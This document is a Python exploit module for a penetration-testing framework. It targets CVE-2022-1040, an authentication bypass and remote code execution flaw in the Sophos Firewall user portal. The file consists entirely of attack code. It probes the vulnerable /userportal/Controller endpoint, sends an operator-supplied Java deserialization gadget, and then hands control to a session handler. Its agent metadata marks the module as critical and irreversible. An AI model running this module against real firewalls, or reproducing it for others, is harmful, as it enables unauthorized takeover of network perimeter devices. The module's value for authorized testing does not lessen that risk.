Sophos Firewall Auth Bypass RCE (CVE-2022-1040)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Sophos Firewall userportal auth bypass RCE (CVE-2022-1040)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Sophos Firewall Auth Bypass RCE (CVE-2022-1040)',
        'description': (
            'Exploits CVE-2022-1040 in Sophos Firewall <=18.5 MR3: authentication bypass '
            'in User Portal /userportal/Controller enables pre-auth Java deserialization RCE.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2022-1040'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2022-1040'],
        'tags': ['sophos', 'firewall', 'auth-bypass', 'rce', 'kev', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {'suggested_followups': ['scanner/http/cve_2022_1040_detect']},
        },
    }

    gadget_json = OptString('', 'JSON gadget fragment for datagrid parameter', required=False, advanced=True)

    def check(self):
        path = '/userportal/Controller?mode=8700&operation=1&datagrid=179&json={"probe":"test"}'
        r = self.http_request(
            method='POST',
            path=path,
            headers={'X-Requested-With': 'XMLHttpRequest'},
            allow_redirects=False,
        )
        body = (r.text or '') if r else ''
        if r and r.status_code == 200 and 'Session Expired' in body:
            return {'vulnerable': True, 'reason': 'Sophos userportal bypass surface active', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'Sophos userportal not confirmed', 'confidence': 'medium'}

    def execute(self, cmd: str) -> str:
        gadget = str(self.gadget_json or '').strip()
        if not gadget:
            return ''
        path = f'/userportal/Controller?mode=8700&operation=1&datagrid=179&json={gadget}'
        r = self.http_request(
            method='POST',
            path=path,
            headers={'X-Requested-With': 'XMLHttpRequest'},
            allow_redirects=False,
        )
        return (r.text or '') if r else ''

    def run(self):
        if not self.check().get('vulnerable'):
            self.not_vulnerable()
            return False
        if not self.gadget_json:
            print_warning('Set gadget_json for deserialization RCE (see killvxk PoC)')
            self.vulnerable()
            return True
        body = self.execute('')
        if re.search(r'uid=\d+|Exception', body or '', re.I):
            return self.handler_execute()
        self.vulnerable()
        return True